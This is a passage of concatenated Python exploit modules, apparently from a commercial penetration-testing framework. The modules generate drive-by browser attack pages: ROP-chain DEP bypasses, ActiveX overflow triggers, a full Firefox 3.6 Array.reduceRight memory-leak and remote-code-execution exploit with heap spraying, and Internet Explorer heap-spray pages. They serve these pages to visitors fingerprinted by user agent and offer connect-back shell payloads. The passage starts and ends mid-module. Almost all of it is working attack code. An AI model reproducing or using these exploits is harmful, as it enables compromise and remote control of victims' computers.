depSc += pack('<L', 0x1001175B) depSc += pack('<L', 0x1001175B) depSc += pack('<L', 0x1001175B) depSc += pack('<L', 0x1001175B) depSc += pack('<L', 0x1001175B) depSc += pack('<L', 0x10017374) #POP ECX depSc += pack('<L', 0x22222220) depSc += pack('<L', 0x1002B040) #MOV EDX,EAX depSc += pack('<L', 0x10027938) #MOV EAX,EDX depSc += pack('<L', 0x10022BB2) #MOV DWORD PTR DS:[EDX],EAX depSc += pack('<L', 0x10027BE0) #XOR EAX,EAX depSc += pack('<L', 0x10027BD7) #ADD EDX,4 depSc += pack('<L', 0x10022276) #POP EAX depSc += pack('<L', 0x111118E1) # Size 2000 bytes depSc += pack('<L', 0x10017374) # POP ECX depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x1001BE16) #SUB EAX,ECX depSc += pack('<L', 0x10022BB2) #MOV DWORD PTR DS:[EDX],EAX depSc += pack('<L', 0x10027BE0) #XOR EAX,EAX depSc += pack('<L', 0x10027BD7) #ADD EDX,4 depSc += pack('<L', 0x10022276) #POP EAX depSc += pack('<L', 0x11112111) depSc += pack('<L', 0x10017374) # POP ECX depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x1001BE16) #SUB EAX,ECX depSc += pack('<L', 0x10022BB2) #MOV DWORD PTR DS:[EDX],EAX depSc += pack('<L', 0x10027BE0) #XOR EAX,EAX depSc += pack('<L', 0x10027BD7) #ADD EDX,4 depSc += pack('<L', 0x10022276) #POP EAX depSc += pack('<L', 0x11111151) depSc += pack('<L', 0x10017374) # POP ECX depSc += pack('<L', 0x11111111) depSc += pack('<L', 0x1001BE16) #SUB EAX,ECX depSc += pack('<L', 0x10022BB2) #MOV DWORD PTR DS:[EDX],EAX depSc += pack('<L', 0x10011A05) #POP EBX pop writeable depSc += pack('<L', 0x1003ef40) # depSc += pack('<L', 0x10022276) #POP EAX depSc += pack('<L', 0x1002D104) # Import Address depSc += pack('<L', 0x10011A06) # RET depSc += pack('<L', 0x10011A06) # RET depSc += pack('<L', 0x10021DA6) # CALL DWORD PTR DS:[EAX] depSc += pack('<L', 0x11111111) #SPACE depSc += pack('<L', 0x11111111) #SPACE depSc += pack('<L', 0x11111111) #SPACE depSc += pack('<L', 0x11111111) #SPACE depSc += pack('<L', 0x1001403B) # PUSH ESP, POP EDI, depSc += pack('<L', 0x90909090) depSc += pack('<L', 0x44444444) # Fix ESP depSc += pack('<L', 0x04eb9090) # Jmp over call depSc += pack('<L', 0x1002716A) # Call EDI depSc += self.shellcode filedata = """ <html> <object classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3' id='target'></object> <script language = 'vbscript'> buf = String(8293, "A") ret = unescape("%D9%C7%02%10") padsp = String(16, "a") sc = unescape("SHELLCODE") exploit = buf + ret + padsp + sc target.Get exploit </script> <html> """.replace('SHELLCODE', urlencode(depSc)) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s for output" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] DEFAULT_PAYLOAD = 1 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE 6.0" in info_dict['user_agent']: self.log("WP> Target has MSIE 6") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if self.isClientD: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def buildBypass(self, search=False): depBp = pack('<L', 0x1F701F31) # pop eax depBp += pack('<L', 0x1F72E644) # writeable depBp += pack('<L', 0x10034C91) # xor ecx, ecx depBp += pack('<L', 0x1F701F31) # pop eax depBp += pack('<L', 0xFFFFFFC0) depBp += pack('<L', 0x1001862A) # neg eax depBp += pack('<L', 0x1002E3C9) # xchg ecx, eax depBp += wp_randomstring(4) depBp += pack('<L', 0x1F70A7CC) # pop edx depBp += wp_randomstring(12) depBp += pack('<L', 0xFFFFEFFF) depBp += pack('<L', 0x100281E6) # neg edx depBp += wp_randomstring(8) depBp += pack('<L', 0x1001DBA6) # mov eax, edx / ret 4 depBp += wp_randomstring(16) depBp += pack('<L', 0x10017D50) # pop esi depBp += wp_randomstring(4) depBp += pack('<L', 0x10024B73) # pop esi / pop edi depBp += pack('<L', 0x10030F5A) # mov ebx, eax / call esi depBp += pack('<L', 0x1F711346) # edi - pop eax / ret depBp += pack('<L', 0x10017D50) # pop esi depBp += pack('<L', 0x1003B0E4) # VirtualProtect if search: depBp += pack('<L', 0x1F701F31) # pop eax depBp += pack('<L', 0xFFFFF7FF) # -801 depBp += pack('<L', 0x1002B5B2) # add ebx, eax depBp += pack('<L', 0x1001063C) # pop ebp depBp += pack('<L', 0x1F707DAE) # ebp - call [eax] / ret depBp += pack('<L', 0x1F701F31) # pop eax depBp += pack('<L', 0x1001049A) # push esp / ret 8 depBp += pack('<L', 0x10037D4B) # pushad depBp += "\x83\xEC\x05" # sub esp, 5 return depBp def makefile(self): self.log("WP> Generating Universal DEP Bypass") searchBypass = self.buildBypass(search=True) self.log("WP> Universal DEP Bypass Size: %s bytes" % len(searchBypass)) searchcode = wp_SearchCode(True, "mov $0x01991111, %edx") self.shellcode = self.shellcode[:17] + "\x8B\xE0" + self.shellcode[19:] randomStr = "".join( [random.choice(string.lowercase) for x in range(8)]) payload = wp_randomstring(628) payload += pack('<L', 0x1F7052F6) # add esp, 7D0 payload += wp_randomstring(364) payload += pack('<L', 0x1F701029) * 10 payload += searchBypass payload += searchcode payload += wp_randomstring((4096 - len(payload))) payload += 'c00kc00k' payload += self.buildBypass() payload += self.shellcode payload += wp_randomstring((10741 - len(payload))) #Base filedata filedata = """<html> <object classid='clsid:F31C42E3-CBF9-4E5C-BB95-521B4E85060D' id='target'/></object> <script language='javascript'> arg1 = "RANDOMSTR"; arg2 = "PAYLOAD"; target.ValidateUser(arg1, arg2); </script> </html> """ filedata = filedata.replace('RANDOMSTR', randomStr) filedata = filedata.replace('PAYLOAD', payload) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (outputfile)) return 1
class theexploit(httpclientside): def __init__(self): tcpexploit.__init__(self) httpclientside.__init__(self) self.searchMethod = self.FindBrowser_FindAnyTag_CmpExtraInfo self.UserAgent = [("Mozilla/", "Firefox", "")] self.plugin_info = None # we want clientd to give us a plugin dict self.supports_dns_mosdef = False self.shellcode = "\xcc" * 298 self.setVersions() self.version = 1 self.badstring = "" self.name = NAME self.filename = "".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") def random_dummy_string(self, prefix=""): h = hashlib.new('sha1') h.update(str(random.random() * 10).replace('.', '')) retval = h.hexdigest() retval = '%s%.5s' % (prefix, retval) return retval # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): parsed = user_agent_parser.Parse(info_dict['user_agent']) if 'Windows' in parsed['os']['family'] and \ parsed['user_agent']['family'] == 'Firefox' and \ parsed['user_agent']['major'] == '3' and \ parsed['user_agent']['minor'] == '6' and \ parsed['user_agent']['patch'] in ('16', '17'): return 100 self.log("Did not detect vulnerable version of Firefox - bailing out.") return 0 def displayVersions(self): for v in self.versions.keys(): print "Version %d: %s" % (v, self.versions[v][0]) def setVersions(self): self.versions = {} #name, jmp esp, writeloc, writable, shelloc self.versions[1] = ("Windows - all versions", None) def neededListenerTypes(self): return self.clientSideListenerTypes() def makefile(self): replaces = {} replaces["[SHELLCODE]"] = urluencode(self.shellcode) filedata = """ <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Array.reduceRight</title> </head> <body> <script type="application/javascript"> """ js = """ var sprayed_chunks = []; var dom_elements_array = new Array(); var fake_strings_base = 0x0E000014; // a fake str block will be here var fake_strings_size = 0x00800000; //var dom_leak_address = 0x12200074; // start address to search for our tags and dom objs. var dom_leak_addresses = [0x12200074, 0x04900074, 0x08200074] // to search in 3 diff places var shellcode_base = 0x18000014; // a shellcode sprayed block will be here var search_tags = [0x66666666, 0x77777777, 0x11112222]; var search_str_tag = String.fromCharCode(0x6666) + String.fromCharCode(0x6666) + String.fromCharCode(0x7777) + String.fromCharCode(0x7777); var vtable_found = false; var dom_vtable_address = 0; var xul_version = null; var virtualalloc_ptr = 0; var gadget_1 = 0; var gadget_2 = 0; var gadget_3 = 0; var gadget_4 = 0; var gadget_5 = 0; var gadget_6 = 0; var gadget_7 = 0; var gadget_8 = 0; var gadget_9 = 0; reduceCallbackExploit = function(prev, current, index, array) { var o = current[0]; throw "<STOP REDUCECALLBACK>"; // just in case } reduceCallbackLeak = function(prev, current, index, array) { var offset = 0; var vtable_low = 0; if (xul_version == "1.9.2.16") { vtable_low = 0x000017B0; } else { if (xul_version == "1.9.2.17") { vtable_low = 0x0000C3E8; } } while (true) { var index = current.indexOf(search_str_tag, offset); if (index != -1) { var s1 = current.substr(index, 8); var leaked_info = []; for(var i=0; i < s1.length; i+=2) { high = new Number(s1.charCodeAt(i+1)); low = new Number(s1.charCodeAt(i)); data = (high << 16) + low; leaked_info.push(data); } // To find our DOM obj we search for two tags and make sure is NOT followd by the third search tag. // Also we make sure that the value that is supposed to be the vtable is greater than 0x20000000 because // sometimes we may get other kind of values there if ( leaked_info[0] == search_tags[0] && leaked_info[1] == search_tags[1] && leaked_info[2] != search_tags[2] ) { if ((leaked_info[3] & 0x0000FFFF) == vtable_low) { vtable_found = true; dom_vtable_address = leaked_info[3]; throw "<STOP REDUCECALLBACK>"; // exit } else { offset = index+160; } } else { // if we find the tags but not the vtable we keep searching adding to the offset offset = index+7950; } } else { throw "<STOP REDUCECALLBACK>"; // this is to stop reduceRight from keep calling the callback for other elements in the array } } } function trigger(address, explotar) { var boom = new Array(); // do some math to set the appropiate length to the array to access the given address value = address / 4 + 0x80000001; // For FF4 length value = ( (address - EAX) / 8 ) + 0x80000000 but EAX value is not fixed.. boom.length = value; try { if (explotar) boom.reduceRight(reduceCallbackExploit,0,0,0); else boom.reduceRight(reduceCallbackLeak,0,0,0); } catch(ex){ // an empty catch to get all the stop reduce exceptions we throw } } function str_hexa_pad4(str) { while (str.length < 4) str = "0" + str; return str.toUpperCase(); } function str_hexa_pad(str) { while (str.length < 8) str = "0" + str; return "0x" + str.toUpperCase(); } function str_hexa(val) { var str = new Number(val).toString(16); return str_hexa_pad(str); } function hexa(val) { var str = new Number(val).toString(16); return str_hexa_pad4(str); } function myescape(addr) { var str = ""; str = "%u" + hexa(addr & 0xffff) + "%u" + hexa((addr >> 16) & 0xffff); return unescape(str); } function create_fake_strings_block(block_size) { var str_block = ""; str_block += unescape("%uAAAA"); // padding to align for(var i=0; i < dom_leak_addresses.length; i++) { str_block += myescape(fake_strings_base + 0x8 + 0x10*i); // fake_strings_base points to this // It contians an address that ends with C so when using the mask to check the tagged js obj with 0x4 it interprets it as a valid string str_block += myescape(fake_strings_size); // fake string size to be able to read alot str_block += myescape(dom_leak_addresses[i]); // ptr to address I want to read (this is the fake str) str_block += myescape(0x12345678); //padding to create another fake str } while(str_block.length < block_size - 10){ str_block+=unescape("%uCCCC%u9090"); // this could be random... } return str_block; } function create_dummy_str_block(block_size) { var str_block = ""; //str_block += unescape("%uAAAA"); for(var j=0; j < 17; j++) { // some padding to place our search tags str_block += myescape(0xBADF00D0 + j); } // these 2 dwords are used as tags to search our dom objects to get a vtable str_block += myescape(search_tags[0]); str_block += myescape(search_tags[1]); while(str_block.length < block_size) { str_block += myescape(search_tags[2]); } return str_block; } function create_shellcode_block(block_size) { // rop chain needed based on xul.dll var block = ""; // set things to make a call to our stack pivot block += unescape("%uAAAA") // padding to align block += myescape(shellcode_base+0x4); // shellcode_base points here block += myescape(shellcode_base+0xC); block += myescape(gadget_2); // Gadget 2 - POP EAX; RET to load VirtualAlloc address block += myescape(shellcode_base+0x4C); // there must be 1 dword after the addres where this value points and then the first rop gadget block += myescape(virtualalloc_ptr); // ESP points here after gadget 1 block += myescape(gadget_3); // Gadget 3 - MOV EAX, [EAX]; RET block += myescape(gadget_4); // Gadget 4 - CALL EAX; RET // Parameters for virtualalloc block += myescape(0x0); // NULL block += myescape(0x10000); // size block += myescape(0x3000); // MEM_COMMIT | MEM_RESERVE block += myescape(0x40); // PAGE_EXECUTE_READWRITE block += myescape(gadget_5); // Gadget 5 - XCHG EDI,EAX; RET block += myescape(gadget_6); // Gadget 6 - set eax = edi ; set esi = shellcode - MOV EAX,EDI; POP ESI; RETN block += myescape(shellcode_base+0x5C); // Address where shellcode is block += myescape(gadget_7); // Gadget 7 - ecx = sizeof(shellcode) - POP ECX, RET block += myescape(0x1000); // sizeof(shellcode) block += myescape(gadget_8); // Gagdet 8 - memcpy - REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] block += myescape(0x11112222); // dummy block += myescape(0x33334444); // dummy block += myescape(gadget_9); // Gadget 9 - jmp to shellcode - JMP EAX block += myescape(0x55556666); // this will be shellcode_base+0x4C block += myescape(dom_vtable_address); // this addr right below will be in ECX and js3250!js_Interpret+0x48cf -> call ecx will use it to begin our RCE block += myescape(gadget_1); // Gadget 1 - Stack pivot - this content will be put in 0 by this very same gadget // 104CC407 56 PUSH ESI // 104CC408 5C POP ESP // 104CC409 8366 44 00 AND DWORD PTR DS:[ESI+44],0 // 104CC40D 33C0 XOR EAX,EAX // 104CC40F 5E POP ESI // 104CC410 C2 0400 RETN 4 // the vtable we are leaking is this one // const nsHTMLTextAreaElement::`vftable'{for `nsGenericHTMLElement'} dd offset nsHTMLTextAreaElement::QueryInterface(nsID const &,void * *) var shellcode = unescape("[SHELLCODE]"); block += shellcode; while(block.length < block_size - 10){ block+=unescape("%uCCCC%u9090"); // this could be random } return block; } function spray_str(str, quant){ var t = new Array(); for(var i=0; i < quant; i++){ t[i] += str; } return t; } function do_shellcode_spray() { setup_gadgets(); var spray = create_shellcode_block(0x7FFFF); sprayed_chunks.push(spray_str(spray,0x90)); } function do_fake_strings_spray() { // we want to leak the contents of the dom_leak_address address that will give us a vtable var spray = create_fake_strings_block(0x7FFFF); sprayed_chunks.push(spray_str(spray,0x80)); } function do_dummy_str_spray() { var spray = create_dummy_str_block(0x40); sprayed_chunks.push(spray_str(spray,1)); } function do_textarea_spray() { for(var a=0; a < 0x3000; a++) { var e = document.createElement("textarea"); dom_elements_array[a] = e; do_dummy_str_spray(); // this will put a mark between our dom objects and we'll use it to find the vtable } } function is_vulnerable() { var ua = navigator.userAgent; var ffregex = /Firefox\/3.6.1(6|7)/i; var xulregex = /; rv:(.*)\) /i; m = ffregex.exec(ua); if (m.length > 0) { m = xulregex.exec(ua); if (m.length > 1) { xul_version = m[1]; return true; } } return false; } function setup_gadgets() { if (xul_version == "1.9.2.16") { virtualalloc_ptr = dom_vtable_address-0x1A9524; gadget_1 = dom_vtable_address-0x51F0C0; gadget_2 = dom_vtable_address-0x9DEDDB; gadget_3 = dom_vtable_address-0x9DD6A2; gadget_4 = dom_vtable_address-0x8DF1BD; gadget_5 = dom_vtable_address-0x9BF3F4; gadget_6 = dom_vtable_address-0x9C9CCF; gadget_7 = dom_vtable_address-0x9E063D; gadget_8 = dom_vtable_address-0x9DF973; gadget_9 = dom_vtable_address-0x9DD304; } else { if (xul_version == "1.9.2.17") { virtualalloc_ptr = dom_vtable_address-0x1A6164; gadget_1 = dom_vtable_address-0x51FFE1; gadget_2 = dom_vtable_address-0x9E9A72; gadget_3 = dom_vtable_address-0x9E890C; gadget_4 = dom_vtable_address-0x8D7FA5; gadget_5 = dom_vtable_address-0x8AE69F; gadget_6 = dom_vtable_address-0x9D273F; gadget_7 = dom_vtable_address-0x9EB35B; gadget_8 = dom_vtable_address-0x9EA2C1; gadget_9 = dom_vtable_address-0x98F16E; } else { throw "Browser not supported"; } } } function search_vtable() { var x = 0; while ( (x < dom_leak_addresses.length) && (!vtable_found) ) { trigger(fake_strings_base + 0x10*x, false); x++; } } function Exploit() { if (is_vulnerable()) { do_fake_strings_spray(); // some strings to read with the leak do_textarea_spray(); // some DOM objects to get their vtable ref search_vtable(); if (vtable_found) { do_shellcode_spray(); trigger(shellcode_base, true); // trigger the RCE } else { document.write("Failed..."); } } else { document.write("Browser not supported"); } } setTimeout("Exploit();", 1000); """ for k,v in replaces.iteritems(): js = js.replace(k,v) #filedata += self.jsObfuscator.obfuscate(js) filedata+=js filedata += """ </script> </body> </html>""" return filedata def makesploit(self,clientheader,clientbody): """ Construct the attack """ h = header("SERVER") b = body() self.log("Request: " + clientheader.URL) if clientheader.URL.count(self.filename): #the exploit self.log("sending HTML") self.createShellcode() sploitstring = self.makefile() b.setBody(sploitstring) h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) h.addHeader("Content-Type", "text/html") else: #redirect to self self.log("redirecting to self") h.status = "302" h.addHeader("Location", self.filename) h.addHeader("Content-Type", "text/html") return h, b
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '' # Shellcode is on heap or in dll #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") # For IE7 .Net Shellcode self.vProtect = True self.pc = 0x44444444 return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefileIE8_VistaWin7_part1(self): # Exploit for IE 8 Windows 7/Vista # This page loads a .Net DLL # mscorie .Net DLL ASLR/DEP Bypass filedata = """ <html> <object classid="OURDLL" height="0" width="0"></object> <iframe src=/page2.htm></iframe> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html', '.dll')) return filedata def makefileIE8_VistaWin7_part2(self): # Exploit for IE 8 Windows 7/Vista landingAddress = 0x126A1000 #0x126A1000 heapspraycode = pack('<L', 0x63F05761) #the slide of RETN heapspraycode += pack('<L', landingAddress + 8) # MOV EAX,DWORD PTR DS:[ECX] heapspraycode += pack('<L', 0x63F0575B) # MSCORIE:(0x63f0575b XCHG EAX,ESP) heapspraycode += pack('<L', landingAddress) # JUNKED heapspraycode += pack('<L', 0x63F03E9B) # RETN 30 heapspraycode += pack('<L', 0x63F057D3) # RETN 0C heapspraycode += pack('<L', 0x00000001) # required byte heapspraycode += pack('<L', 0x63F03E9B) # RETN 30 heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', landingAddress + 4) # MOV ECX,DWORD PTR DS:[ECX+20] heapspraycode += pack( '<L', 0x63F0237E ) # MOV EDX,DWORD PTR DS:[EAX+20] 63F0237E MSCOREIE: CALL DWORD PTR DS:[ECX+4] heapspraycode += pack('<L', 0x63F03E9B) * 10 # RETN 30 heapspraycode += pack('<L', 0x00000001) # required byte while len(heapspraycode) < (0x100 - 4): heapspraycode += pack('<L', 0x63F05761) # RETN heapspraycode += pack('<L', 0x63F03E9B) # RETN 30 depbypass = pack('<L', 0x63F05761) # RETN depbypass += pack('<L', 0x11111111) * 0x0C # Slackspace # depbypass using mscorie # Clever trick using PUSHAD to get the current ESP location into the params # depbypass += pack('<L', 0x63f05428) # POP EDI, ESI, RET depbypass += pack('<L', 0x63f05b01) # RETN depbypass += pack('<L', 0x63f05b01) # RETN depbypass += pack('<L', 0x63f05557) # POP EBP depbypass += pack('<L', 0x63f04cb5) # Call VirtualAlloc depbypass += pack('<L', 0x63f054c0) # POP EBX depbypass += pack('<L', 0x000007d0) # Size depbypass += pack('<L', 0x63f05458) # POP EDX depbypass += pack('<L', 0x00001000) # Type depbypass += pack('<L', 0x63f01e13) # POP ECX depbypass += pack('<L', 0x00000040) # Protect depbypass += pack('<L', 0x63f05afa) # PUSHAD, XOR EAX,C9027563, RET depbypass += pack('<L', 0x63f069e3) # CALL ESP depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace filedata = """ <html> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); prefix = unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); heapspray = prefix + heapspray; heapspray += unescape("DEPBYPASSCODE") + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) #Obfuscate the script code (not used) filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <div style="position: absolute; top: -999px;left: -999px;"> <link href="css4.css" rel="stylesheet" type="text/css" /> </html> """ return filedata def makefileWinXP(self, browser): # Exploit for Windows XP (DEP Bypass) landingAddress = 0x126A1000 #0x126A1000 # Build our heapspray repeated block to get to this vtable jmp # 4384F78D 8B46 5C MOV EAX,DWORD PTR DS:[ESI+5C] # #43681BE1 8B49 20 MOV ECX,DWORD PTR DS:[ECX+20] #43681BE4 8B01 MOV EAX,DWORD PTR DS:[ECX] #43681BE6 8B50 20 MOV EDX,DWORD PTR DS:[EAX+20] #43681BE9 -FFE2 JMP EDX if browser == "MSIE 8.0": heapspraycode = pack('<L', 0x77C21A57) #the slide of RETN heapspraycode += pack('<L', landingAddress + 8) # MOV EAX,DWORD PTR DS:[ECX] heapspraycode += pack('<L', 0x77C3335C) # FIRST STACK PTR (RETN 80) heapspraycode += pack('<L', 0x77C21A57) # Start the slide of RETN heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', 0x00000001) # required byte heapspraycode += pack('<L', 0x126A10FF) # To pass the TEST AL,AL heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', landingAddress + 4) # MOV ECX,DWORD PTR DS:[ECX+20] heapspraycode += pack( '<L', 0x77C15ED5 ) # MOV EDX,DWORD PTR DS:[EAX+20] JMP EDX (77C15ED5 XCHG EAX,ESP) heapspraycode += pack('<L', landingAddress) * 10 heapspraycode += pack('<L', 0x00000001) # required byte while len(heapspraycode) < (0x100 - 4): heapspraycode += pack('<L', 0x77C21A57) # 77C11110 RETN heapspraycode += pack('<L', 0x77C3335C) # RETN 80 else: heapspraycode = pack('<L', 0x77C21A57) #the slide of RETN heapspraycode += pack('<L', landingAddress + 8) # MOV EAX,DWORD PTR DS:[ECX] heapspraycode += pack('<L', 0x77C3335C) # FIRST STACK PTR (RETN 80) heapspraycode += pack('<L', 0x77C21A57) # Start the slide of RETN heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', 0x00000001) # required byte heapspraycode += pack('<L', 0x126A10FF) # To pass the TEST AL,AL heapspraycode += pack('<L', landingAddress) heapspraycode += pack('<L', landingAddress + 4) # MOV ECX,DWORD PTR DS:[ECX+20] heapspraycode += pack('<L', landingAddress) heapspraycode += pack( '<L', 0x77C15ED5 ) # MOV EDX,DWORD PTR DS:[EAX+20] JMP EDX (77C15ED5 XCHG EAX,ESP) while len(heapspraycode) < (0x100 - 4): heapspraycode += pack('<L', 0x77C21A57) # 77C11110 RETN heapspraycode += pack('<L', 0x77C3335C) # RETN 80 depbypass = pack('<L', 0x77C21A57) # RETN depbypass += pack('<L', 0x11111111) * 0x20 # Slackspace depbypass += self.wp_UniversalDEPBypassWinXP_VP( len(self.shellcode) + 8) filedata = """ <html> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); prefix = 